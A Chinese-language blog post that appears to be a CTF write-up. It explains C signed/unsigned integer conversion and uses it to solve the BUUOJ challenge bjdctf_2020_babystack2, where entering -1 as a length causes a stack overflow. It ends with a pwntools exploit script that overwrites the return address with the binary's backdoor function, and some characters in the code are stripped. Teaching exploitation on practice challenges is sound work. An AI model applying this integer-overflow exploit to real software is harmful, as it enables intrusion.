本文最后更新于 554 天前,其中的信息可能已经有所发展或是发生改变。
无符号和有符号整型
数据元素类型:unsigned(无符号整型)
C语言中,无符号整型数是不带正负表示符号的整型数。C语言在计算机里编译时数都是用二进制表示的,如果最左边这一位不用来表示正负,而是和后面的连在一起表示整数,那么就不能区分这个数是正还是负,就只能是正数,这就是无符号整型数。
unsigned a=-6; printf("%un",1); 输出:1 printf("%un",0); 输出:0
当传入的值负数的时候,值会溢出,从而得到一个非常大的值,下面就是测试的直观看法:
printf("%un",-1); 输出:4294967295 printf("%un",-6); 输出:4294967290 printf("%un",a); 输出:4294967290
有符号整型,写作signed int, 简写为int时效果相同,因为C语言默认为有符号数。
漏洞存在
如果在无符号类型中输入-1会被判断成一个很大的正整数,从而会导致出现一些如果判断的情况出现
例题分析
bjdctf_2020_babystack2
bjdctf_2020_babystack2:https://buuoj.cn/challenges#bjdctf_2020_babystack2
main函数中就存在这很明显的漏洞,先输入-1,在进行nbutes进行判断的时候读取位-1,但是在read中作为参数时被转换为无符号整型(unsiged int),这个时候-1就会被识别成一个很大的整整数,从而导致栈溢出。
payload
代码语言:javascript复制from pwn import *
context.log_level = 'debug'
content = 0
elf = ELF('./bjdctf_2020_babystack2')
# 题目里面有个后面函数,用elf直接查地址
backdoor = elf.symbols['backdoor']
def main():
if content == 1:
p = process('./bjdctf_2020_babystack2')
else:
p = remote("node4.buuoj.cn", 25588)
p.sendlineafter('[ ]Please input the length of your name:n', '-1')
payload = b'a' * (0x10 0x8) p64(backdoor)
p.sendlineafter("[ ]What's u name?n" ,payload)
p.interactive()
main()
浏览量: 198